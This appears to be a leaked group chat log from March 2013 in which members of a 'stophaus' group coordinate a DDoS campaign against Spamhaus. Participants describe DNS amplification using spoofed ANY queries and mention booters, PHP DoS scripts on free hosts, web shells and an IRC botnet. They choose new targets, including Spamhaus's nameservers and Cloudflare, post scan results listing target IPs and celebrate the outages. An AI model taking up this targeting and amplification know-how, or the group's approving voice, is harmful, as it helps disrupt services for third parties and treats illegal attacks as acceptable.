2046[18.03.2013 23:55:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most of them can't go anywhere else anyway long term
2047[18.03.2013 23:55:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2048[18.03.2013 23:57:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh that, and for the actual shitlist dns servers
2049[18.03.2013 23:57:24] Cali: Why TATA suddenly decided that it was the end?
2050[18.03.2013 23:57:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we have to send ANY (255) requests..
2051[18.03.2013 23:57:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: of ips that actually ARE shitlisted
2052[18.03.2013 23:57:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they send no reply for ips that are not.. that is, the answer section is empty
2053[18.03.2013 23:58:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: currently it just does <bunch of random numbers.zen.spamhaus.org
2054[18.03.2013 23:58:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but when there is no larger answer packet... its not much use in terms of amplification
2055[18.03.2013 23:58:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: works fine on the 8 main ones tho
2056[18.03.2013 23:59:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with NSspamhaus.org.
2057[18.03.2013 23:59:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: boom big packet back to the spoofed source of one of the other servers
2058[18.03.2013 23:59:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2059[18.03.2013 23:59:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: all port 53 ofcourse, source and dest.
2060[19.03.2013 00:02:43] Yuri: another one hoster, spamahost.com added.
2061[19.03.2013 00:02:48] Yuri: i hope he can help with some servers.
2062[19.03.2013 00:02:57] spamahost: Will do ^^ :)
2063[19.03.2013 00:05:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: because obviously spamhaus was threattening to list tata...
2064[19.03.2013 00:05:49] eDataKing: be safe when accessing this link, but there was an edu writeup: http://isc.sans.edu/diary/Spamhaus+DDOS/15427
2065[19.03.2013 00:05:51] spamahost: Spamhaus can blow me.
2066[19.03.2013 00:06:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: me too :P
2067[19.03.2013 00:06:20] spamahost: What software you using to send out attacks?
2068[19.03.2013 00:06:22] spamahost: IRC and bots?
2069[19.03.2013 00:06:28] Yuri: spamhaus like spamahost very very much.
2070[19.03.2013 00:06:35] Yuri: that's the realy true love
2071[19.03.2013 00:06:37] spamahost: Yes they love us
2072[19.03.2013 00:06:38] eDataKing: Hi Spamahost, long time.
2073[19.03.2013 00:06:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: internet storm center? lol
2074[19.03.2013 00:07:01] narko: i bought a lifetime booter for $1 from hackforums and used vb.net to create a macro to restart the attack every 2 minutes
2075[19.03.2013 00:07:03] eDataKing: Finally pay back like I said 2 years ago when they attacked you for hosting one of my sites. Remember that?
2076[19.03.2013 00:07:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i thought isc stood for internet software consortium
2077[19.03.2013 00:07:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
2078[19.03.2013 00:08:05] eDataKing: lulz
2079[19.03.2013 00:08:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just post the list of demands to twitter with @spamhaus or whatever
2080[19.03.2013 00:08:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or #spamhaus
2081[19.03.2013 00:08:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so it shows up when ppl search it
2082[19.03.2013 00:08:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2083[19.03.2013 00:09:06] eDataKing: As much as they are proud of themselves when someone else loses their connectivity it is quite a grand show to see it happen to them for sure (pi)
2084[19.03.2013 00:09:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly twitter kicked out all our ron paul and pirate party bots lol
2085[19.03.2013 00:09:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: none of those accounts still seem to work haha
2086[19.03.2013 00:10:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah like that reply of that dutch politician to the lucrossini one haha
2087[19.03.2013 00:10:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "as far as i understood it was the spamhaus ip that was constantly ddosing others"
2088[19.03.2013 00:10:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2089[19.03.2013 00:10:31] eDataKing: the list of demands needs to be separate from stophaus
2090[19.03.2013 00:10:39] spamahost: So whose issuing the attacks as of now?
2091[19.03.2013 00:10:39] eDataKing: no need to associate the 2.
2092[19.03.2013 00:10:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then just put republic cyberbunker on top of it and its fine
2093[19.03.2013 00:10:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2094[19.03.2013 00:10:53] narko: amit's php shells on 000webhost
2095[19.03.2013 00:10:59] spamahost: hahaha
2096[19.03.2013 00:11:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same list :P
2097[19.03.2013 00:11:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *grin*
2098[19.03.2013 00:11:15] spamahost: Which script?
2099[19.03.2013 00:11:40] narko: PHPDoS
2100[19.03.2013 00:11:50] narko: with special modifications to work on free hosting providerss
2101[19.03.2013 00:12:03] narko: http://4.bp.blogspot.com/-d9tjjnpUIfc/UPL3ZahUQsI/AAAAAAAABEc/Wvbw1tpK7eA/s1600/ddos.png
2102[19.03.2013 00:12:17] spamahost: Lol this script?
2103[19.03.2013 00:12:27] narko: no
2104[19.03.2013 00:12:29] narko: i made my own logo
2105[19.03.2013 00:12:44] spamahost: This link you gave me, is free dos script
2106[19.03.2013 00:12:46] spamahost: All over the net
2107[19.03.2013 00:12:52] spamahost: Ive had this script for atleast a year
2108[19.03.2013 00:16:07] spamahost: How about we do something smarter...What about an IRC room with about 45,000 bots..?
2109[19.03.2013 00:16:30] Yuri: do you have one?
2110[19.03.2013 00:18:38] eDataKing: Yuri:
2111<<< FOR EVERYBODY: we moved to IRC (under SSL)
2112/server irc.stophaus.com +7000
2113#stophaus
2114DON"T WRITE HERE, GO TO IRC
2115[19.03.2013 00:18:42] eDataKing: sry
2116[19.03.2013 00:19:48] eDataKing: May want to change the name of the group to random letters as well
2117[19.03.2013 00:38:20] Yuri: MEGALOL
2118[19.03.2013 00:38:27] Yuri: spamhaus is down 3 days
2119[19.03.2013 00:38:58] Yuri: this is the graph of our mail server http://mx1.2x4.ru/cgi-bin/mailgraph.cgi
2120that shows amount of spam rejected by our mail server.
2121last days there are much less SPAm
2122[19.03.2013 00:39:13] Yuri: http://mail.2x4.ru same graph here.
2123[19.03.2013 00:39:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah i always thought they were sending it out themselves.
2124[19.03.2013 00:40:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most of it never had any contact addresses or anywhere you could buy
2125[19.03.2013 00:40:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not much use to 'market things' if people can't buy it
2126[19.03.2013 00:40:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unless ofcourse, you only want to create a 'problem' so you can provide the 'solution'
2127[19.03.2013 00:40:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that, and none of the spam i've ever received was listed by them
2128[19.03.2013 00:41:14] Yuri: heh... realy could be.... if you want a good business - don't make it, create a market.
2129[19.03.2013 00:43:24] Antitheist: they sell that whitelist horseshit
2130[19.03.2013 00:43:54] Antitheist: no responsible ISP would ever consider using it
2131[19.03.2013 00:45:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fuck they're back up
2132[19.03.2013 00:45:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: !
2133[19.03.2013 00:45:49] eDataKing: yep
2134[19.03.2013 00:46:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nslookup www.spamhaus.org
2135Server: 8.8.8.8
2136Address: 8.8.8.8#53
2137
2138Non-authoritative answer:
2139www.spamhaus.org canonical name = cdn-cf.spamhaus.eu.
2140Name: cdn-cf.spamhaus.eu
2141Address: 141.101.123.93
2142Name: cdn-cf.spamhaus.eu
2143Address: 190.93.243.93
2144Name: cdn-cf.spamhaus.eu
2145Address: 190.93.240.93
2146Name: cdn-cf.spamhaus.eu
2147Address: 190.93.241.93
2148Name: cdn-cf.spamhaus.eu
2149Address: 190.93.242.93
2150[19.03.2013 00:47:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: cloudflare
2151[19.03.2013 00:47:48] Antitheist: fuck who would believe
2152[19.03.2013 00:48:10] Antitheist: after they listed all cloudlares /24 for being criminal supportive because of free reverse proxying
2153[19.03.2013 00:49:11] Antitheist: here we go again...
2154[19.03.2013 00:49:12] Antitheist: http://www.spamhaus.org/sbl/query/SBL179312
2155[19.03.2013 00:49:14] Antitheist: lol
2156[19.03.2013 00:49:46] Antitheist: it had been officialy bought...b-o-u-g-h-t
2157[19.03.2013 00:50:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
2158[19.03.2013 00:50:57] Antitheist: narko?
2159[19.03.2013 00:51:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k... just take down the spamhaus.org nameservers... all 8 of em
2160[19.03.2013 00:51:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after all the client on cloudflare is 'spamhaus.eu'
2161[19.03.2013 00:51:33] Cali: spamhaus under cloudflare?
2162[19.03.2013 00:51:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they still need the spamhaus.org nameservers for that and their shitlist to work
2163[19.03.2013 00:51:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah with spamhaus.eu
2164[19.03.2013 00:51:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which is a cname to spamhaus.org
2165[19.03.2013 00:51:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so just take out the 8 spamhaus nameservers and stop targetting the old website
2166[19.03.2013 00:52:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that ALSO takes out their dns shitlists...
2167[19.03.2013 00:52:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: indirectly
2168[19.03.2013 00:52:22] Yuri: that's a fuck. a lot of work for us
2169[19.03.2013 00:52:29] Antitheist: http://www.cloudflare-watch.org/cfblock.html
2170[19.03.2013 00:52:35] Antitheist: put that on the forum please
2171[19.03.2013 00:52:44] Antitheist:
2172 Spamhaus says about CloudFlare:
2173
2174"Hosting service refuses to shut off abusers. Spam & cybercrime
2175'reverse proxies' stay up after being reported. Cybercrime world
2176now knows of this 'bulletproof hosting' and is rushing here."
2177[19.03.2013 00:53:04] Yuri: looks cloudflare saved another 200k$
2178[19.03.2013 00:53:05] eDataKing: they just supported the reason they are able to corral those they don't like into services they deem criminals
2179[19.03.2013 00:53:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: isn't that unfair competition
2180[19.03.2013 00:53:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2181[19.03.2013 00:53:20] Yuri: may be just let's make cloudflare down ?
2182[19.03.2013 00:53:29] Antitheist: thats hard yuri
2183[19.03.2013 00:53:31] Yuri: so they will refuse any spamhaus
2184[19.03.2013 00:53:43] Antitheist: you need to cripple level3 and nlayer
2185[19.03.2013 00:54:04] Antitheist: |OR|
2186[19.03.2013 00:54:12] Antitheist: you need to spend too much traffic
2187[19.03.2013 00:54:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: new target... the 8 nameservers of spamhaus.org ... and still smtp-ext-layer.spamhaus.org ofcourse
2188[19.03.2013 00:54:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no morewww.spamhaus.org
2189[19.03.2013 00:54:24] Antitheist: since cloudflares packages are traffic volume priced
2190[19.03.2013 00:55:44] Karlin König: I don't think they are charging spamhaus
2191[19.03.2013 00:56:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as stated before, unfair competition, in many ways
2192[19.03.2013 00:56:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
2193[19.03.2013 00:57:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm is cloudflare hosting? or a reverse proxy?
2194[19.03.2013 00:57:57] Cali: reverse proxy.
2195[19.03.2013 00:58:00] Yuri: reverse
2196[19.03.2013 00:58:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as when its a reverse proxy, it probably goes to that spamhaus.as1101.net box
2197[19.03.2013 00:58:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: aka, surfnet.
2198[19.03.2013 01:00:10] Cali: already offline :D
2199[19.03.2013 01:00:17] Cali: This website is offline
2200
2201No cached version is available
2202[19.03.2013 01:00:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2203[19.03.2013 01:02:05] narko: è Ñ„ÑŒ øфÑÂû
2204[19.03.2013 01:02:11] narko: I am back
2205[19.03.2013 01:02:19] narko: when their site is online
2206[19.03.2013 01:02:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 5 secs ago
2207[19.03.2013 01:02:26] narko: I will make down their cloudflare ;) if I have enough free servers
2208[19.03.2013 01:02:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they moved it to cloudlfare
2209[19.03.2013 01:02:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2210[19.03.2013 01:02:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then just go for the nameservers on spamhaus.org
2211[19.03.2013 01:02:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which also breaks their dns shitlist
2212[19.03.2013 01:02:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after 24h
2213[19.03.2013 01:02:55] Cali: usually websites use cloudflare dns as well.
2214[19.03.2013 01:02:58] Cali: so they might change soon.
2215[19.03.2013 01:03:03] Cali: I think you should give them some hope
2216[19.03.2013 01:03:10] Cali: because they will be so proud to bring it back
2217[19.03.2013 01:03:14] Cali: then you switch it off again :)
2218[19.03.2013 01:03:20] Cali: they will rage :)
2219[19.03.2013 01:03:23] Karlin König: it's down again
2220[19.03.2013 01:03:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they do... spamhaus.EU is on cloudflare dns
2221[19.03.2013 01:03:25] Karlin König: lol
2222[19.03.2013 01:03:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:spamhaus.org... is on spamhaus dns
2223[19.03.2013 01:03:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: for the very obvious reason that they have 70 dns shitlist servers in that zone
2224[19.03.2013 01:03:49] Cali: yeah but I think they might change that soon.
2225[19.03.2013 01:03:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and those use their weird rotating system
2226[19.03.2013 01:03:54] Cali: ahah
2227[19.03.2013 01:03:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: cloudflare can't do that
2228[19.03.2013 01:04:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can't change the domain of the dns shitlist
2229[19.03.2013 01:04:05] Cali: even with the paid version?
2230[19.03.2013 01:04:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they have to keep that
2231[19.03.2013 01:04:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: soo... if they come up again, just kill the dns servers on their main domainspamhaus.org
2232[19.03.2013 01:04:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2233[19.03.2013 01:04:33] Cali: ok, now it is online and responds.
2234[19.03.2013 01:04:50] narko: ok
2235[19.03.2013 01:04:52] narko: moment
2236[19.03.2013 01:05:07] Cali:http://www.spamhaus.org/images/spamhaus_dnsbl_basic.gif "meet spamhaus policy"
2237[19.03.2013 01:05:07] Cali: lol
2238[19.03.2013 01:05:14] Cali: like IPs have to meet Spamhaus policies
2239[19.03.2013 01:05:18] Cali: lol
2240[19.03.2013 01:05:24] narko: they are using the cloudflare paid plan
2241[19.03.2013 01:05:31] narko: as they have 5 IP
2242[19.03.2013 01:05:31] narko: not 2
2243[19.03.2013 01:05:44] narko: i think it means that cf will keep them longer
2244[19.03.2013 01:05:46] narko: :(
2245[19.03.2013 01:06:09] Antitheist: so sven, is it 2:1 ?
2246[19.03.2013 01:06:16] Antitheist: :(
2247[19.03.2013 01:06:54] eDataKing: isn't that IRC dialog?
2248[19.03.2013 01:07:13] Antitheist: totally
2249[19.03.2013 01:07:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
2250[19.03.2013 01:07:31] eDataKing: just wanting to remind so it becomes habit lol. My mom taught me that. ;)
2251[19.03.2013 01:08:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: FOUND:ns3.spamhaus.org.
2252FOUND: ns20.ja.net.
2253FOUND: ns3.spamhaus.rethemdns.net.
2254FOUND: ns2.spamhaus.rethemdns.net.
2255FOUND: ns1.spamhaus.rethemdns.net.
2256FOUND: fi503-nij.surfnet.nl.
2257FOUND: ns4.spamhaus.rethemdns.net.
2258FOUND: fi503-hfj.surfnet.nl.
2259ns3.spamhaus.org. 192.150.94.200 down!
2260ns20.ja.net. 194.82.174.6 down!
2261ns3.spamhaus.rethemdns.net. 154.35.136.98 down!
2262ns2.spamhaus.rethemdns.net. 154.35.136.99 down!
2263ns1.spamhaus.rethemdns.net. 154.35.136.98 down!
2264fi503-nij.surfnet.nl. 195.169.124.73 down!
2265ns4.spamhaus.rethemdns.net. 154.35.136.99 down!
2266fi503-hfj.surfnet.nl. 145.97.20.167 down!
2267[19.03.2013 01:08:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: o rly
2268[19.03.2013 01:08:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: is it just me or are their nameservers down for everyone
2269[19.03.2013 01:08:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2270[19.03.2013 01:09:09] Antitheist: not everyone
2271[19.03.2013 01:09:20] Antitheist: ping NS3.SPAMHAUS.ORG
2272PING ns3.spamhaus.org (192.150.94.200): 56 data bytes
227364 bytes from 192.150.94.200: icmp_seq=0 ttl=49 time=80.888 ms
227464 bytes from 192.150.94.200: icmp_seq=1 ttl=49 time=79.671 ms
227564 bytes from 192.150.94.200: icmp_seq=2 ttl=49 time=79.477 ms
2276[19.03.2013 01:09:27] Antitheist: ;(
2277[19.03.2013 01:09:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no the actual nameserver
2278[19.03.2013 01:09:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dig Awww.spamhaus.org @any-of-them
2279[19.03.2013 01:09:50] Antitheist: tried first from your list
2280[19.03.2013 01:10:08] Antitheist: ping ns20.ja.net
2281PING ns20.ja.net (194.82.174.6): 56 data bytes
228264 bytes from 194.82.174.6: icmp_seq=0 ttl=240 time=84.621 ms
228364 bytes from 194.82.174.6: icmp_seq=1 ttl=240 time=83.224 ms
2284[19.03.2013 01:10:10] Antitheist: second...
2285[19.03.2013 01:10:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not ping...
2286[19.03.2013 01:10:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nslookup or osmething..
2287[19.03.2013 01:10:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or dig
2288[19.03.2013 01:10:23] Antitheist: lets see dig
2289[19.03.2013 01:10:37] Yuri: http://www.spamhaus.org/sbl/query/SBL179316
2290hahahahahaha :))))))
2291infiumhost got fucked :)))) for stophaus.com
2292[19.03.2013 01:10:55] Antitheist: looooooollll
2293[19.03.2013 01:11:04] Òðûõрøù Ûёûøý: spamhaus up?
2294[19.03.2013 01:11:07] Antitheist: ROKSO spammer Andrew Stephens:
2295
2296stophaus.com. 0 IN A 91.218.38.162
2297[19.03.2013 01:11:14] Antitheist: that was so fucking expected
2298[19.03.2013 01:11:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: screenshot it for evidence
2299[19.03.2013 01:11:25] Antitheist: can we get stophaus on HINET.net?
2300[19.03.2013 01:11:29] Antitheist: i have connection
2301[19.03.2013 01:11:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that is blackmail right there
2302[19.03.2013 01:11:40] narko: where to see the latest SBLs?
2303[19.03.2013 01:11:50] Antitheist: http://www.spamhaus.org/sbl/latest/
2304[19.03.2013 01:12:01] narko: good
2305[19.03.2013 01:12:03] narko: i did not get listed
2306[19.03.2013 01:12:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i already was listed haha
2307[19.03.2013 01:12:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not much they can add there :P
2308[19.03.2013 01:12:58] Antitheist: Based on research, analysis of network records, our own intelligence sources and our experience, Spamhaus believes that this IP address range is being used or is about to be used for the purpose of high volume spam emission.
2309[19.03.2013 01:13:07] narko: (facepalm)
2310[19.03.2013 01:13:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: intelligence ? hahahahaha
2311[19.03.2013 01:13:13] Antitheist: arent we against any "beliefs"?
2312[19.03.2013 01:13:13] narko: so now infium will ask for the site to be removed..?
2313[19.03.2013 01:13:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahahaha
2314[19.03.2013 01:13:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: them? intelligence ? haha
2315[19.03.2013 01:13:30] Antitheist: Christianity, Judaism, Islam, Buddhism, Spamhaus
2316[19.03.2013 01:14:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narkosvenk@xs8:~$ ./findsh.pl
2317FOUND: fi503-nij.surfnet.nl.
2318FOUND: ns3.spamhaus.rethemdns.net.
2319FOUND: ns20.ja.net.
2320FOUND: ns2.spamhaus.rethemdns.net.
2321FOUND: ns3.spamhaus.org.
2322FOUND: ns1.spamhaus.rethemdns.net.
2323FOUND: ns4.spamhaus.rethemdns.net.
2324FOUND: fi503-hfj.surfnet.nl.
2325fi503-nij.surfnet.nl. 195.169.124.73 down!
2326ns3.spamhaus.rethemdns.net. 154.35.136.98 down!
2327ns20.ja.net. 194.82.174.6 down!
2328ns2.spamhaus.rethemdns.net. 154.35.136.99 down!
2329ns3.spamhaus.org. 192.150.94.200 down!
2330ns1.spamhaus.rethemdns.net. 154.35.136.98 down!
2331ns4.spamhaus.rethemdns.net. 154.35.136.99 down!
2332fi503-hfj.surfnet.nl. 145.97.20.167 down!
2333[19.03.2013 01:14:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they actually are all down
2334[19.03.2013 01:14:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also from other boxes
2335[19.03.2013 01:14:48] narko: resolving for me
2336[19.03.2013 01:14:54] Karlin König: you should host stophaus inside cloudfare
2337[19.03.2013 01:14:56] Antitheist: is that even legal in court? i believe he killed someone! lol
2338[19.03.2013 01:15:00] Karlin König: just for kicks
2339[19.03.2013 01:16:12] Antitheist: can you explain me how dig A spamhaus.orgresolves to 154.35.160.11 and its still on cloudflare?
2340[19.03.2013 01:16:35] Antitheist: did RETHEMHOSTING made a bgp transit with cloudflare?
2341[19.03.2013 01:16:41] narko: no
2342[19.03.2013 01:16:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah ok
2343[19.03.2013 01:16:51] narko: cloudflare alows you to use a CNAME but it only works for www. obviously
2344[19.03.2013 01:16:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: findsh.pl reports them as down...
2345[19.03.2013 01:16:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: because its a CNAME
2346[19.03.2013 01:16:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not an A
2347[19.03.2013 01:16:59] narko: so to keep their own DNS they can't havespamhaus.org on cloudflare
2348[19.03.2013 01:17:00] narko: only www.
2349[19.03.2013 01:17:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just take em down
2350[19.03.2013 01:17:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: all 8 of em
2351[19.03.2013 01:17:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: problem solved
2352[19.03.2013 01:17:21] Cali: ;; ANSWER SECTION:
2353cdn-cf.spamhaus.eu. 205 IN A 141.101.123.93
2354cdn-cf.spamhaus.eu. 205 IN A 190.93.240.93
2355cdn-cf.spamhaus.eu. 205 IN A 190.93.241.93
2356cdn-cf.spamhaus.eu. 205 IN A 190.93.243.93
2357cdn-cf.spamhaus.eu. 205 IN A 190.93.242.93
2358[19.03.2013 01:17:42] Karlin König:http://www.spamhaus.org/sbl/query/SBL179316
2359[19.03.2013 01:17:44] Karlin König: quack
2360[19.03.2013 01:17:44] eDataKing: http://stophaus.com/showthread.php?76-Spamhaus-Uses-SBL-to-Attack-Opposition&p=90#post90
2361[19.03.2013 01:18:00] Antitheist: As there is an existing LIVE record for malware in this /24 (at 91.218.38.245) this listing is therefore for the /24
2362[19.03.2013 01:18:03] Antitheist: loooooolll
2363[19.03.2013 01:18:18] Antitheist: isnt it the lamest fucking excuse ever?
2364[19.03.2013 01:18:35] Antitheist: they clearly wanted to warn infiumhost
2365[19.03.2013 01:19:01] narko: if they SBL the nameservers i will sue them :P lol
2366[19.03.2013 01:20:03] Antitheist: how did they know that edataking is behind this?
2367[19.03.2013 01:21:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i guess he's second on their list and they're too afraid of the republic cyberbunker
2368[19.03.2013 01:21:32] Antitheist: BTW, there are no malware servers on 91.218.38.0/24 :D
2369[19.03.2013 01:21:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
2370[19.03.2013 01:22:00] Antitheist: the only listing since january was 91.218.38.245/32 and its down
2371[19.03.2013 01:23:05] Cali: Btw, did you see that spamhaus.org is a partner of infiumhost?
2372[19.03.2013 01:23:12] Antitheist: you have to make a citizenship requirement, the applicant must be listed in ROKSO
2373[19.03.2013 01:23:35] Antitheist: @cali where?
2374[19.03.2013 01:23:54] Yuri: crossposted here
2375http://forum.hostobzor.ru/index.php?showtopic=17304&st=390&gopid=175490&#entry175490
2376[19.03.2013 01:24:57] Cali: Antitheist, it is in russian but wait.
2377[19.03.2013 01:25:07] Antitheist: i am russian
2378[19.03.2013 01:25:19] Antitheist: does it save my waiting :P
2379[19.03.2013 01:25:22] Cali: http://infiumhost.com/ then just check ßðртýõры then :P
2380[19.03.2013 01:25:41] Antitheist: lol i can open a website and put cia.gov in ßðртýõры
2381[19.03.2013 01:25:52] Antitheist: kinda wanted to see it on shithaus page ;)
2382[19.03.2013 01:25:56] Cali: yeah but I am not sure that it is a hirony.
2383[19.03.2013 01:26:21] Yuri: (puke)
2384[19.03.2013 01:26:36] Cali: *irony
2385[19.03.2013 01:27:05] Antitheist: thats only means that infiumhost tongue is brown
2386[19.03.2013 01:27:49] Yuri: :)))))))))))))))))
2387[19.03.2013 01:27:57] Yuri: :D
2388[19.03.2013 01:28:02] Yuri: (envy)
2389[19.03.2013 01:28:07] Yuri: (puke)
2390[19.03.2013 01:31:02] narko: http://www.dnswatch.info/dns/dnslookup?la=en&host=www.spamhaus.org&type=A&submit=Resolve
2391[19.03.2013 01:31:29] Antitheist: can we have an open for all mailbox?
2392[19.03.2013 01:31:36] Yuri: narko is the God.
2393[19.03.2013 01:31:40] Yuri: (y)
2394[19.03.2013 01:31:41] Antitheist: i want to subsribe us to host-tracker.com
2395[19.03.2013 01:32:10] Antitheist: they still work for me
2396[19.03.2013 01:32:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah its dns.. it needs to expire
2397[19.03.2013 01:32:36] Antitheist: im working with /etc/hosts
2398[19.03.2013 01:32:54] Antitheist: what matters really when they are down for all :)
2399[19.03.2013 01:33:08] Òðûõрøù Ûёûøý: our removal request not received
2400[19.03.2013 01:33:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; ANSWER SECTION:
2401www.spamhaus.org. 300 IN CNAME cdn-cf.spamhaus.eu.
2402[19.03.2013 01:33:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh
2403[19.03.2013 01:33:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: indeed.. stil up
2404[19.03.2013 01:33:19] Òðûõрøù Ûёûøý: we don't receive any answer from robot sh
2405[19.03.2013 01:33:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dnswatch appearantly makes the same mistake as my script
2406[19.03.2013 01:33:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and only checks for A records
2407[19.03.2013 01:33:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not for CNAME
2408[19.03.2013 01:33:37] Antitheist: lol Valery, you are way too optimistic
2409[19.03.2013 01:33:49] Yuri: host cdn-cf.spamhaus.eu
2410cdn-cf.spamhaus.eu has address 190.93.243.93
2411cdn-cf.spamhaus.eu has address 190.93.240.93
2412cdn-cf.spamhaus.eu has address 190.93.242.93
2413cdn-cf.spamhaus.eu has address 190.93.241.93
2414cdn-cf.spamhaus.eu has address 141.101.123.93
2415[19.03.2013 01:33:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: never mind .eu
2416[19.03.2013 01:34:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: .org needs to be down
